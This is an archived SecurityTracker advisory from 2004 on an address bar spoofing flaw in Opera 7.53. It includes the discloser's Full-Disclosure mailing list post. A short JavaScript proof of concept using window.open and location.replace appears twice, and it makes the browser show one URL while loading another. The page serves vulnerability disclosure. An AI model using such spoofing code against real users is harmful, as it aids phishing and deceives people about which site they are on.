SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Web Browser)  >   Opera Vendors:   Opera Software
Opera Web Browser Javascript 'location.replace' Lets Remote Users Spoof Address Bar
SecurityTracker Alert ID:  1010780
SecurityTracker URL:  http://securitytracker.com/id/1010780
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jul 27 2004
Impact:   Modification of system information
Exploit Included:  Yes  
Version(s): 7.53, Build 3850
Description:   A vulnerability was reported in the Opera web browser in the processing of javascript. A remote user can create HTML that will spoof the URL in the address bar.

bitlance winter reported that a remote user can create HTML containing javascript that, when loaded, will load a URL but cause a different URL to be displayed in the address bar.

A demonstration exploit is provided:

[script]
function fake() {
oc=window.open('http://www.opera.com/', '','location=1');
oc.location.replace('http://www.example.com');
}
[/script]
[a href="javascript:void(0);"
onClick="fake()"]http://www.opera.com/[/a]

[Editor's note: In our testing with Opera 7.51, the address bar did not display the spoofed URL until another page was browsed and then the 'back' button was clicked to return to the spoofed page.]

Impact:   A remote user can cause the browser to display an arbitrary URL.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.opera.com/ (Links to External Site)
Cause:   State error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-Disclosure] Opera 7.53 (Build 3850) Address Bar Spoofing Issue


Hello List.

I report you about
Opera 7.53 (Build 3850) Address Bar Spoofing Issue,
tested on Windows OS.

==== begin of PoC
[script]
function fake() {
  oc=window.open('http://www.opera.com/', '','location=1');
  oc.location.replace('http://www.example.com');
}
[/script]
[a href="javascript:void(0);"
onClick="fake()"]http://www.opera.com/[/a]
==== end of PoC

Best Regards.

--
bilance winter

_________________________________________________________________
download! http://toolbar.msn.click-url.com/go/onm00200413ave/direct/01/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC